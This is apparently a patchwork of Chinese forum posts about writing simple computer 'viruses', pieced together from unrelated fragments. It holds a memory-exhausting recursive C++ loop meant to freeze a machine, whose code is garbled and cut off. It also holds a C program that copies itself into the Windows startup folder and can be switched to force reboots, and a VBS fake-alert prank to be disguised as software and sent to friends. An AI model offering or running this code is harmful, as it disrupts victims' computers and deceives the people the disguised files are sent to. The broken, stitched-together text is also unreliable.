下面就对“陷阱”的发作过程和源代码作详细的揭密。
病毒具有自身加密能力(使用 JavaScript 编码技术),使得普通用户无法看到病毒原码,但在被感染 VBS 文件中并没有加密,于是作为一个入口点,我非常轻松地得到所有源码。

严重声明:这个程序只是供C语言新手参考,开玩笑没关系,但如果用来做不法的事情,本人概不负责。还有,编病毒、木马去做违法的事情惩罚是很重的,你如果想学编程,编个简单的就好了,否则后果很严重。
现在计算机内存大,1楼的程序,不一定能搞的死机。改进一下:
void
main()
{
while(1){
DoIt();}
}
void
DoIt()
{
char
*p;
for(int
i=0;i100000;i++)
{
p=new
char[100000];
DoIt();

----------------------------
计算机病毒:利用计算机软件与硬件的缺陷,破坏计算机数据并影响计算机正常工作的一组指令集或程序代码
。
百度百科说的,你没意见了吧,O(∩_∩)O哈哈~
最简单的病毒代码如下: #include "windows.h"
#include "stdio.h"
void main(int argc,char * argv[])
{
//printf("%s\n",argv[i]);
char copy[80];
sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"",argv[0]);
system(copy); //将这个程序拷到开机启动文件夹下面
//char cmd[]="shutdown -r -t 0";//自动重起
char cmd[]="ping baidu.com";//将这个换成上面的,就是一开机就重起了!
system(cmd);
system("pause");
}
不行的 得用虚拟机才可以测试病毒代码 无需下载,把下面这段代码复制到记事本里,保存为文本文件

新建一个文本文档,输入以下内容:msgbox"内容1"+chr(13)+"内容2"+chr(13)+"内容3",1,"标题"
格式和符号必须正确,内容1、内容2、内容3、标题可以随意更改,比如:msgbox"您的电脑被黑客入侵"+chr(13)+"请立刻发三遍我是猪到朋友圈"+chr(13)+"否则您的电脑显卡将起火",1,"黑客入侵警告"
之后保存,重命名,把后缀txt改为vbs,新建一个文件夹,点右键选择属性→自定义→更改图标,把它伪装成一个软件(我的是winXP系统,操作可能不一样),把刚才的文件放进去
最后发送给你的朋友,让他打开,他在电脑上就会出现一个这样的提示:
